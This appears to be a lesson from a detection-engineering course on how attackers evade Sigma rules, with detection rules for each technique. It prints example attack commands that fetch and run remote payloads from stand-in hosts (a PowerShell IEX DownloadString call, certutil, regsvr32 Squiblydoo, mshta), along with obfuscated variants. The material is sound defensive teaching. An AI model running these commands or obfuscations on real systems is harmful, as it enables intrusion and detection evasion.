Lesson 3 of 5 · 30 min read

Evasion Techniques — What Breaks Your Rules

Adversaries don’t stand still. Once a rule ships to production, sophisticated actors research and adapt their techniques to bypass specific detection patterns. This lesson covers the most common evasion categories, how each one breaks rules that aren’t designed to handle it, and how to write rules that are harder to defeat.


Category 1: Command-Line Obfuscation

Command-line obfuscation makes the visible argument string not match expected patterns while still executing the intended code. It’s cheap, automated, and breaks any rule relying on exact string matching.

Caret Escaping (CMD)

# Original (rule fires):
powershell.exe -EncodedCommand SGVsbG8=

# Obfuscated (rule doesn't fire for string patterns):
p^o^w^e^r^s^h^e^l^l.exe -^E^n^c^o^d^e^d^C^o^m^m^a^n^d SGVsbG8=

The ^ characters are processed and stripped by cmd.exe before the argument reaches PowerShell. Sysmon Event 1’s CommandLine field records the post-processing value on Windows 10+ — but this depends on Sysmon version and OS.

Environment Variable Substitution (CMD)

set "x=powershell" && %x% -enc SGVsbG8=

# Or via delayed expansion:
set "cmd=po" && set "cmd2=wershell" && !cmd!!cmd2! -enc SGVsbG8=

PowerShell String Concatenation

# Original:
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')

# Obfuscated:
$a = 'Net.' + 'Web' + 'Client'
$b = New-Object $a
IEX $b.DownloadString('http://evil.com/payload.ps1')

A rule checking CommandLine|contains: 'Net.WebClient' does not fire because the string is split across variables.

Character Code Substitution (PowerShell)

# [char] substitution for each letter:
IEX ([char]73 + [char]69 + [char]88 + ' (' + ...)

What Helps


Category 2: LOLBins — Living Off the Land

LOLBins (Living-Off-the-Land Binaries) are Microsoft-signed binaries with built-in capabilities attackers abuse. Because they’re signed, signature checks pass. Because they’re legitimate, they appear in normal environments.

High-Value LOLBin Detection Targets

BinaryAbuse PatternATT&CKSigma Target Field
certutil.exe-urlcache -split -f http://evil/payload downloads filesT1105CommandLine contains -urlcache + URL pattern
regsvr32.exe/s /u /i:http://evil/payload.sct scrobj.dll executes remote SCTT1218.010CommandLine contains /i:http
rundll32.exejavascript:... executes JS in process contextT1218.011CommandLine contains javascript:
mshta.exehttp://evil/payload.hta executes remote HTAT1218.005CommandLine contains http:// or javascript:
bitsadmin.exe/transfer downloads files in backgroundT1197CommandLine contains /transfer
wmic.exe/format: XSL transform executes arbitrary codeT1220CommandLine contains /format + URL

Key insight: LOLBin detections require specific argument patterns, not just the binary name. certutil.exe runs legitimately for PKI operations; the attack-specific pattern is -urlcache combined with an external URL.

LOLBAS Project

The LOLBAS project (lolbas-project.github.io) catalogs every Windows binary with documented abuse potential. For each binary: the abuse function, the argument pattern, and example commands. Before writing a LOLBin detection, check LOLBAS for the full set of abuse variants for that binary.

# Covering multiple certutil abuse patterns:
detection:
  selection:
    Image|endswith: '\certutil.exe'
    CommandLine|contains:
      - '-urlcache'
      - '-decode'
      - '-encode'
      - '-decodehex'
  filter_normal:
    CommandLine|contains:
      - '-verify'     # PKI certificate verification
      - '-viewstore'  # View certificate store
  condition: selection and not filter_normal

Category 3: Signed Binary Proxy Execution (T1218)

Related to LOLBins but distinct: signed binary proxy execution specifically means using a trusted binary to execute code provided by the attacker, bypassing AppLocker or WDAC policies that block unsigned code.

# regsvr32 Squiblydoo:
regsvr32.exe /s /n /u /i:http://evil.com/payload.sct scrobj.dll

# This:
# 1. Downloads payload.sct from evil.com
# 2. Executes it via scrobj.dll COM registration
# 3. Runs code in the context of regsvr32.exe (signed binary)
# 4. Bypasses AppLocker rules allowing regsvr32.exe

Detection approach: These are high-signal because legitimate use of these binaries with remote URLs is extremely rare. The flag is:

detection:
  selection_regsvr32:
    Image|endswith: '\regsvr32.exe'
    CommandLine|contains:
      - '/i:http'
      - '/i:ftp'

  selection_mshta_remote:
    Image|endswith: '\mshta.exe'
    CommandLine|re: '.*(https?|ftp):\/\/'

  condition: 1 of selection_*

Category 4: Process Injection (T1055)

Process injection is the most significant evasion of process-creation-based detection:

  1. Attacker process starts (may trigger a creation alert)
  2. Attacker injects shellcode into a legitimate running process (e.g., notepad.exe)
  3. Attacker process exits
  4. Malicious code now runs inside notepad.exe — no new process creation event

The injected code runs with notepad’s identity, token, and process name. Any rule looking for Image|endswith: '\evil.exe' sees nothing — the behavior is inside notepad.

Detection options:

Sysmon EventWhat it catchesCaveat
Event 8 (CreateRemoteThread)Thread injection into remote processSome legitimate processes do this
Event 10 (ProcessAccess) with PROCESS_VM_WRITEClassic injection: write → create threadHigh FP from debuggers
Behavioral anomalynotepad.exe making outbound connectionsRequires baseline + anomaly detection
# Detect CreateRemoteThread from suspicious sources:
logsource:
  product: windows
  category: create_remote_thread

detection:
  selection:
    TargetImage|endswith:
      - '\svchost.exe'
      - '\explorer.exe'
      - '\notepad.exe'
      - '\lsass.exe'
  filter_legitimate:
    SourceImage|contains:
      - '\Microsoft\Edge'
      - 'AdobeARM.exe'
  condition: selection and not filter_legitimate

Category 5: Masquerading (T1036)

Attackers name malicious processes after legitimate ones:

Detection approach: Image path + expected parent:

detection:
  selection:
    Image|endswith: '\svchost.exe'
  filter_legitimate:
    Image|startswith:
      - 'C:\Windows\System32\'
      - 'C:\Windows\SysWOW64\'
  condition: selection and not filter_legitimate

Or use OriginalFileName — this field in Sysmon Event 1 is extracted from the PE header, not the process name. A renamed svchost.exe shows the real original filename (e.g., nc.exe):

detection:
  selection:
    Image|endswith: '\svchost.exe'
  filter_real_svchost:
    OriginalFileName: 'svchost.exe'
  condition: selection and not filter_real_svchost
LOLBAS Project— LOLBAS T1218: Signed Binary Proxy Execution— MITRE ATT&CK Invoke-Obfuscation— GitHub